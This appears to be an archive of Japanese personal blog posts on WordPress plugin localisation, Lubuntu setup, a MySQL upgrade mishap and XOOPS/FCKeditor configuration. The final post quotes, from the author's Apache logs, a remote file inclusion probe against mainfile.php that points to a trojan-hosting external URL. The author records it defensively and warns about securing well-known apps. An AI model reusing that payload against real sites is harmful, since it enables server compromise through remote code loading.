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WordPress

Ajax Edit Commentsフリー版のバージョンアップ

投稿アップデート情報  追記2(2013/1/12)  追記3(1/25)

追記2(2013/1/12):
 うれしいことに, Ron が戻ってきて, v.5.0.13.0 がリリースされた。試してみたらこれは,楽に動くようだ。 12 日現在,日本語化ファイルは旧いものしか同梱されていないので, v.5.0.13.0 用をここに置いた。

追記3(1/25):
 最新版の日本語化ファイルは,右下の「いろいろ」のところ,あるいは,ここから落とせるように変更した。

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 昨日の朝,Ronから「Ajax Edit Comments is Back on the WordPress Official Repo」という題名のメールが来まして,WordPressのPlugin DirectoryにWP Ajax Edit Commentsを見に行ってみました。
   バージョン:3.2.0.0.
   WordPress2.8以上が必要で,3.1にも対応。
   最終更新: 2011-3-10
ということのようですね。まあ,私自身は有料版の4.1.8.3を使っているわけですが,フリー版がバージョンアップしたということで,日本語化ファイルもバージョン:3.2.0.0.に合わせて作り直しました。お使いくださる方は,こちらからダウンロードしてください。なんかまずいところがありましたら,お知らせください。

追記(7/21):今日たまたまWP Ajax Edit Commentsを見に行ったら,フリー版のバージョンが3.2.1.0になっていたので,これに合わせて日本語化ファイルを作った。

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Linux

初代LooxでU-lite-#3

投稿アップデート情報  追記(10/19)

 Fluxboxは軽くっていいんだけど,かなりカスタマイズしないと使いにくい。
 10.04へのアップグレードが成功したので,もともと使いたかったLubuntuデスクトップを導入してみる。

  1. まず,Synapticパッケージマネージャを立ち上げ,lubuntuを検索。検索結果から,lubuntu-desktopを選択してインストール。依存関係で必要なものもすべてインストール。
  2. インストール後,lxdmを選択。
  3. ひとまず,ログアウト。
  4. 改めて,「LXDE」でログイン。
  5. FAMあるいはGaminはインストールされていますかというメッセージが出たので,確認したがGaminはインストールされているようだ。
  6. メッセージをO.K.で閉じて,メニューからPCManファイルマネージャを起動するとデスクトップ上にマイドキュメントフォルダが現れた。USBメモリを指すとファイルマネージャの左ペインにそのメモリについての情報が現れる。ということは,この時点でGamin-Serverは動いてるってことじゃないんですか?よくわからないけど,とにかくPCの起動時点では,FAMへの接続に失敗してるらしい。でも,その後使えるようになるってこと?いまのところ,これでいいことにしようかな,どうもモヤモヤするけど……

 ところで,本日,WordPress ver.3.1ラインハルトの日本語版が出たのでアップデートしました。不具合は何もなし。でも,機能はいろいろ増えてる模様。

追記(10/19):
 今回,ネトラジのチェックで何度もネットにつないでいたのだが,このときにLXDEだとネットワークの状況がわからなくて困った。ググってみたら,ubuntu(他のディストリも同様かは不明)ではネットワークマネージャの設定ファイルの自動起動にLXDEが入っていないらしい。そこで設定ファイル /etc/xdg/autostart/nm-applet.desktop の OnlyShowIn=GNOME;XFCE; に LXDE; を書き加えてログインしなおしたらよくなった。タスクバーにネットワークマネージャのアイコンが現れるようになったヨ。めでたし。

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WordPress

覚え書-#3。

 前から日付に曜日が出ないのを不便に感じていた。コメント欄は曜日の出るようにカスタマイズしていたのだが,ほかのところはデフォルトのままになっていた。
 夕べっからU-LITEの追加パッケージのダウンロードで手こずっているのだが,待ち時間が長いので,ふと思い出したこの件を手直しすることにした。コメント欄の区切りがスラッシュになっているのも気に入らないので,直すことにした。テーマの中のarchive.php,comments.php,index.php,search.php,single.phpの5ファイルにdate()関数がらみがあったので,引数のところをすべてY.m.d(D)に変更した。無事完了。めでたし,めでたし。

 今日も,雪です。2月に入って暖かかったんだけど,休みになると雪になりますねぇ。

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Windows

青ざめちゃいました。

 夕べ寝る前にちょっとと思って,自鯖のアップデートを始めました。特に問題もなく,
    ActivePerl-5.12.2.1202-MSWin32-x86-293621.msi
      ————> ActivePerl-5.12.2.1203-MSWin32-x86-294165.msi
    php-5.3.4-Win32-VC6-x86.zip
      ————> php-5.3.5-Win32-VC6-x86.zip
    mysql-essential-5.1.53-win32.msi
      ————> mysql-5.5.8-win32.msi
    ImageMagick-6.6.6-4-Q16-windows-dll.exe
      ————> ImageMagick-6.6.7-4-Q16-windows-dll.exe
が済みました。で,ImageMagick-6.6.7-4-Q16-windows-dll.exeをインストールしたのち,サーバを再起動しました。ImageMagickについては,Windowsを再起動しないと更新が反映されないことがよくあるからです。で,いつも一番不具合が現れるCaptchaがうまく表示されるかどうかを見るために,o6asan’s soliloquy.(英語ブログ)の個別ページにアクセスしました。

 Captchaが表示されていません。あれっと思って,もう一度,ImageMagick-6.6.7-4-Q16-windows-dll.exeをインストールして再起動し,環境変数のPATHからImageMagick-6.6.6-4-Q16を外したりしてみました。どうしてもうまくいかない。「あれっ」とは思ったんですが,この時点ではまだあまり慌てていませんでした。しかし,何度やってもうまくいかない。そこで,mt-check.cgiを走らせてみようと思い,MovableTypeにログインしようとしたら,弾かれました。「ユーザを遮断しました」的なメッセージがでます。この辺からぼちぼちあせってきたのですが,何が原因かわからないまま,時間が過ぎていきます。明くる日は仕事だし,気は急くんですがどうしても原因がつかめません。

 MovableTypeにどうしてもログインできないので,o6asan’s soliloquy-part2(日本語ブログ)にアクセスしてみようとしました。こちらが無事表示されれば,英語のほうは諦めて今夜は寝てしまおうと思ったのです。こっちは大丈夫だろうと,内心思っていたのかもしれません。ところが,ToyParkのころによく見た「データベースにアクセスできません」が表示されました。
 ここに至りハタと思い当たったのが,MySQLが5.1から5.5になったということです。これはアップデートを始める前から少し気がかりだったのですが,インストールの過程が何事もなかったのですっかり忘れていました。調べて見ると,インストールディレクトリはMySQL5.1からMySQL5.5になっているし,データベースを保存しているディレクトリもサフィックスが5.1から5.5になっていました。5.1の中にデータベースは残っているのですが,これは新SQLサーバからは読めません。新サーバのほうには,MovableTypeやWordPressで使っている一般ユーザは,もちろん登録されていません。ログインできなくて当り前です。
 私は,MovableTypeを静的HTMLで使用していますから,個別ページを見るのは何も問題なかったわけです。WordPressを使っていてよかったです。WordPressが「データベースにアクセスできません」メッセージを吐いてくれなかったら,原因にたどりつくのにもっと苦労したでしょう。

 ドキッとしたのは,アップデートを始める直前にバックアップをしていなかったことです。一瞬,泣きたくなりましたが,よく考えると日英ブログとも30日に記事を書いたのちにバックアップをしていました。やれやれです。ここからはすんなりです。新しいSQLサーバ上にMovableTypeやWordPressで使う一般ユーザとデータベースを作ってやって,データをインポート。無事使えるようになりました。勤務の日だというのに,時刻は午前3時くらいになっていました。まいりました。しかし,バックアップをしておいてよかったです。しばらく不具合がないとついルーズになって,バックアップをせずにアップデートを始めてしまうのですが,いけませんね。改めて身にしみました。

 後の話ですが,やはりスゴク焦っていたようで,朝出勤前にメールを見ようとしたら,自メール鯖にアクセスできませんでした。ArgoSoft MailServer(Freeware)からXMailServerへ。の「追記2」に書いたように,Windowsの再起動のたびにXmailのサービスがこけるのですが,手動でサービスを再起動するのを忘れていたのです。お粗末。

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everyday life

Site@School導入記。

 先日書いたように,TODOSでの話が発端で,XOOPS Cube Legacyを導入してみたりした訳だが,実はCMSをいろいろ見ているには,他にも理由がある。仕事がからんでいるのだ……まぁ,それはそれとして,忘れないように「Site@School導入記」を書いておこう。

 Site@Schoolは単なるCMSというよりもSNS+LMSという感じかな。本来は小学校向きに開発されたウェブサイト管理用CMSらしい。
 導入そのものは問題なかったが,考えているところで使うには以下のRequirementsでも,ちょっと問題がある。サーバのバージョンレベルとしてかなり低いものを考えているので。
===============================

  • Apache webserver (1.3.23 or higher, or 2.0.48-1 or higher)
  • MySQL database (version 3.23 or higher or 4.0.16-1 or higher)
  • PHP (version 4.2.1 or higher, version 5 is not yet supported)
  • S@S also runs on Windows 2003 server with IIS 6.0, PHP 4.3.1 and MySQL 3.23.49.
  • Site@School runs perfect on old hardware. We have S@S running under Linux with computers of 133-200 Mhz, with about 64 MB of RAM, serving primary schools of 200 – 300 pupils. Of course, more memory is better.

===============================

    《Site@School導入手順》

  1. 実際に使おうと思っているところでは,下準備として空のデータベースを作ったりと,いろいろ必要になるだろうが,お試しはレンタルサーバでやったので特になし。
  2. siteatschool-2.4.10.zipをダウンロードして,解凍する。
  3. フォルダsiteatschool-2.4.10の名をSaSに変更後,サーバのドキュメントルートにフォルダごとアップロード。
  4. http://example.com/SaS/starnet/install/ にアクセスすると,図1が表示されるので,New installation of 2.4.1:|English:|install.phpを選んでクリック。
  5. 図2が表示されるので,Continue をクリック。
  6. 図3が表示されるので,各項目を適切に記入後Continueをクリック。
  7. 図4のようにThe file /configuration/database.inc.php does not exist!が出たので,FTPでstarnet/configuration/database.inc.org にアクセスして,database.inc.php にリネームし,書込み可(606)にして,Returnをクリック。
  8. Step1に戻るので,再度Continueをクリック。
  9. 図5が表示されるので,各項目を適切に記入後Continueをクリック。
  10. 図6が表示されるので,demo dataを使ってみるために,yesをチェックしてクリック。
  11. 図7が表示されるので,各項目を適切に記入後Continueをクリック。
  12. 図8が表示されるので,FTPでアクセスしてstarnet/installを削除。
  13. FTPでアクセスしてstarnet/sas_check.txtをstarnet/sas_check.phpにリネームし,ブラウザからhttp://example.com/SaS/starnet/sas_check.php にアクセス。
  14. sas_check.php のメッセージに従い,「Not ok!」について適切に処理。まず,/media /studentpages のパーミッションを変更。 両方のディレクトリのOwnerのWarningは消せないが,レンタルサーバではしかたがないだろう。database.inc.php のパーミッションを604に変更。
    allow_url_fopen がONになっているので,Not ok!が出ているがこれもどうしようもない。インストール完了。sas_check.php をサイトから削除。
  15. siteatschool_manual-2.4.zipをダウンロードして解凍し,starnet/manual にアップロード。
  16. 図8の右下に表示される「Login」をクリックして,ログインしてみる。Working environment に入って,Language JP,Date format %Y-%m-%d にする。ブラウザで再読み込みすると,日本語表示になっている。
  17. 「コンフィギュレーション」→「S@S オプション」で「ウェブサイトタイトル」を日本語に変えて見たら,文字化けした。パッケージに同梱されているテーマを参考に変更を試みていたのだが,調べて見るとeditable以外のmain.inc.phpは,文字コードが変更されたときに対応する記述になっていないようだ。editableはS@S本体からの編集に対応しているせいで,記述内容がややこしい。文字コードについては便利だが,なれないとどこに何が書いているかよくわからない。という訳で,他の分かりやすいテーマをカスタマイズの土台にしていた。main.inc.php内で図9の赤字部分を書き変えたらよくなったが,Shift-JIS以外はうまくいかなかった。
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XOOPS

XOOPS Cube Legacy導入記-#5。

 相変わらずFCKeditor on XOOPSの話である。

FCKeditorをFireFox3.6.x(3.5あたりもかな?)上で使って,ローカルからクリップボード経由でFCKeditorの編集画面に何かを貼りつけようとすると,右のPopUpが表示される。(いい忘れたが,そもそも私はデフォルトではPopUpWindowをブロックしているので,当該サイトにこれを許可してやらないとFCKeditorは使用できない。)調べて見ると表示されている </body></html>’) ;oDoc.close() ; ~ はfck_paste.html の一部で,fck_paste.htmlの中には
* This dialog is shown when, for some reason (usually security settings),
* the user is not able to paste data from the clipboard to the editor using
* the toolbar buttons or the context menu.
という記述があった。
という訳で,もともとデフォルトで禁止されているスクリプトによるクリップボードからの貼り付けを,FireFox上で許可してやる必要がある。しかし,これをすべてのサイトに許可するのは,昨今のネット情勢では危険極まりない。アドオンをいろいろ調べて見たらNoScriptというのがあって,評価も悪くないのでこれを使うことにした。

インストールして有効化してやると,FireFoxの右下に2番目の図のような[S]マークが表示される。[S]マークをフォーカスしてオプションを表示し,「詳細設定」→「Trusted」と進んで,[クリップボードからリッチテキストのコピーとペーストを可能にする]にチェックを入れる。

どんなサイトをTrustedにするかだが,「ブックマークから開いたサイトを許可する」というのがあるので,これにチェックを入れておくというのもいいかもしれない。しかし,考えて見ると先日のRobのところのようなこともあるから,手動にしておくのが無難かも。
各サイトにはインビジブルなリンクが貼られていることが多いが,それらを個々に制御することも可能になる。たとえば4番目の図のようになっている場合,@pagesについてはスクリプトが許可されているが,google関係のふたつに関しては禁止されている状態である。

 ところで,IEだと7,8において,最後の図のようなPopUpが現れる。これについては許可をクリックしてやればよい。これもオプションからデフォルトで受け入れるようにすることは可能だが,面倒でもいちいち手動で許可してやることにしておいた方が安全だろう。

余談:
@PAGESとの比較で,前に使っていたToyPark.inにもXOOPSをインストールしてみたのだが,部分的な文字化けが起こって投げ出していた。juneさんのほうは,先にToyParkで試し,その後,@Pagesに移動された。で,juneさんは@PAGESのほうで文字化けが起こったらしい。
その修復だが,juneさんの情報では,phpMyAdminでデータベースにアクセスして,テーブルの修復なんかをやっていたら直ったということだったが,私のほうはどうにも直らない。

絶対におかしいと思うのは,各テーブルの照合順序が latin1_swedish_ci になっていることだ。大本のデータベースの照合順序を utf8_unicde_ci に設定し,XOOPSのインストールもUTF-8でやったのに,どうしてそんなことになるか分からないのだが,なっているものは仕方がない。
しかたがないので,テーブルをすべてエクスポートして,今あるデータベースのテーブルは全部削除することにした。まだ,何も入れていないので,エクスポートしたSQLは全部で250KB程度。大したサイズではない。

SQLファイルをエディタで開き,文字化け部分をすべて訂正。各テーブルの文字セットをlatin1からutf8に変更,改めてインポートしたら文字化けはよくなった。もっとも,本当の原因がつかめていないので,新しいモジュールやコンテンツを追加するたびに起こる可能性はあるなぁ。

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XOOPS

XOOPS Cube Legacy導入記-#4。

 本題に入る前に久しぶりに鳥さんの話題を(笑)。
 昨日の朝の通勤途中,例の川でウ(鵜)を10羽ばかり見た。時間がギリギリだったし,車を止めるところはないしで,証拠写真が撮れなかった。同僚に話したら,「へえっ」と言っていたが,家でははっきりと「見間違いだ。信じられない」と言われた。(orz)多分,同僚も内心は同じ気持ちだったんだろうなぁ。
 で,今朝証拠をデジカメに収めようと出勤時間を見計らって家を出たんだが,悪い予感が当たった。1羽もいない。実は昨日は雪催いで,ウの群れはそこに滞在しているというのではなく,一時休息という様子だったのだ。
 残念だなぁ。諦めきれないけど,こういうことはタイミング勝負なんだね。(sigh)

 本題に移行。
 juneさんから
> @pagesの広告のせいで?本来表示されるOK・キャンセルボタンを画面外にはじき出しているようです。
という情報を頂いた。で,これを改善すべく@PAGESの制約に従いつつFCKeditor on XOOPSのファイル名を変更してみた。今のところ,おおもとの表示枠と画像のアップロードの部分だけである。

  1. editor/fckeditor.htmlの名をmenu.htmlに変更。
    fckeditor/fckeditor.js(153): var sFile = ‘fckeditor.html’ ;を var sFile = ‘menu.html’ ; に変更。
  2. editor/fckdialog.htmlの名をheader.htmlに変更。
    これに関連して,以下のファイル内のfckdialog.htmlの名をheader.html変更。

    editor/js/fckeditorcode_gecko.js(100)
    editor/js/fckeditorcode_ie.js(101)
    editor/_source/internals/fckdialog.js(36)
  3. editor/dialog/fck_image.htmlの名をheader.html変更。
    これに関連して,以下のファイル内のfck_image.htmlの名をheader.html変更。
    editor/js/fckeditorcode_gecko.js(84)
    editor/js/fckeditorcode_ie.js(85)
    editor/_source/internals/fckcommands.js(63)
    editor/_source/internals/fckcommands.js(123)
  4. editor/dialog/fck_image/fck_image_preview.htmlの名をmenu.htmlに変更。
    これに関連して,以下のファイル内のfck_image_preview.htmlの名をmenu.html変更。
    editor/dialog/header.html(144):  <——— fck_image.htmlの名前を変えたもの。
    また,fck_image_preview.htmlの中には以下の文章が記載されている。これは,実際に使われるときには消えるのが本来ではないかと思うのだが,消えてくれないので,削除。
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    elementum. Nunc imperdiet gravida mauris.

追記: 正直な話,@PAGESではFCKeditorは使いにくいようだ。フレーム仕様でないいいエディタはないかな。

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XOOPS

XOOPS Cube Legacy導入記-#3。

 最終的に何に使うことになるかは分からないが,現在の自分のサイト構成をXOOPSに模倣させるという方向で,練習を行うつもり。

  1. 「互換モジュール」 »» 「モジュールの管理」に入る。モジュール名が並んでいて,[pico]と[d3blog]の背景がピンクになっている。この色の違いはなんなんだろうと思っていたのだが,ピンクの場合ここで名前を変えるとホームページでの表示名を変えられるらしい。名を書き換え(→My restoration),下にあるアップデートをクリック。確認が出るのでもう一度クリック。
  2. TODOSでのcherrytigerさんの投稿をもとにfckeditorをダウンロードして解凍し,commonフォルダごと,XoXにアップロード。
    ファイルアップロードを利用するために,XoX/uploads の下に,fckeditor というフォルダを作ってパーミッションを705にする。
  3. 「My restoration(←picoのこと) 」 »» 「一般設定」に行って,本文編集エディタ を[common/fckeditor]に変更。いつも書き忘れるが,当然「送信」。
  4. 「My restoration 」 »» 「コンテンツ一括管理」 »» 「コンテンツ作成」と,移動。表題に「My server’s restoration note」と書き入れ,本家の記事を編集エリアにコピペしてみた。
  5. 「My restoration(←picoのこと) 」 »» 「ブロック管理/モジュールアクセス権限」に行って,コンテンツ内容を表示しないように設定。
  6. FTPクライアントで前もってXoX/uploads/fckeditorに画像をアップロードし,fckeditorを使って画像を表示して見た。ここで,uploadsディレクトリのパーミッションを707に変更。このせいでかなりハマった。@PAGESでは実行可能を付与しておかないとまともに動かないようだ。

追記:結局,cacheのパーミッションも707に変更。picoの一般設定書き換えで,PHPエラーが出る。

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XOOPS Cube Legacy導入記-#2。

 3・4日放りっぱなしだった,XOOPSを弄ってみる。なにはともあれ,ログインして管理メニューをじっくり探索。その結果,以下のようなことを行った。

  1. 「互換モジュール」 »» 「ブロックの管理」 »» 「ブロックのインストール」から互換モジュールの[検索]をインストール。表示サイドを[サイドブロック-右],アクセス権のあるグループを[サイト管理者・登録ユーザ・ゲスト]にする。他は,デフォルトのまま。
  2. 「互換モジュール」 »» 「ブロックの管理」 »» 「ブロックのインストール」から互換モジュールの[ブログ カレンダー]をインストール。表示サイドを[サイドブロック-右],並び順を[1],表示先のモジュールを[すべてのモジュール],アクセス権のあるグループを[サイト管理者・登録ユーザ・ゲスト]にする。他は,デフォルトのまま。

 結局,これだけしかしなかった。(苦)

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XOOPS

mainfile.php狙いの不正アクセス。

 今日は,寒かった。昨日から南に見える例のお山は雪を頂いていたが,今朝は北に見える山も雪を被っていた。初雪である。まぁ,家の辺まで降ったわけではありませんが……

 ところで,12月5日にXOOPSを導入して以来,mainfile.php狙いの不正アクセスがApacheのログに多く記録されている。
mainfile.php?MAIN_PATH=http://www.all3c.com///images/mono/20100907/app/functions/response.txt?
mainfile.php?id
なんちゃらで,libwww-perlを利用したものである。自鯖にはmainfile.phpはないので,すべて404エラーになっている。@PAGESのほうではまだアクセスログを見ていないので分からないが,やっぱりmainfile.phpは有名な名前なんだね。

 MoovableTypeでも,WordPressでもコンフィグを狙うアクセスは多いけど,有名どころのアプリをそのままの名で設置するときは,指示されているセキュリティ関係のオプションはきっちりやらないと危ないよ。
Trojan-Spy.PHP.Mailar.h
 ところで,aguse.jp越えで h ttp://www.all3c.com///images/mono/20100907/app/functions/response.txt? にアクセスしたら,右の画像が表示された。カスペルスキー,えらい。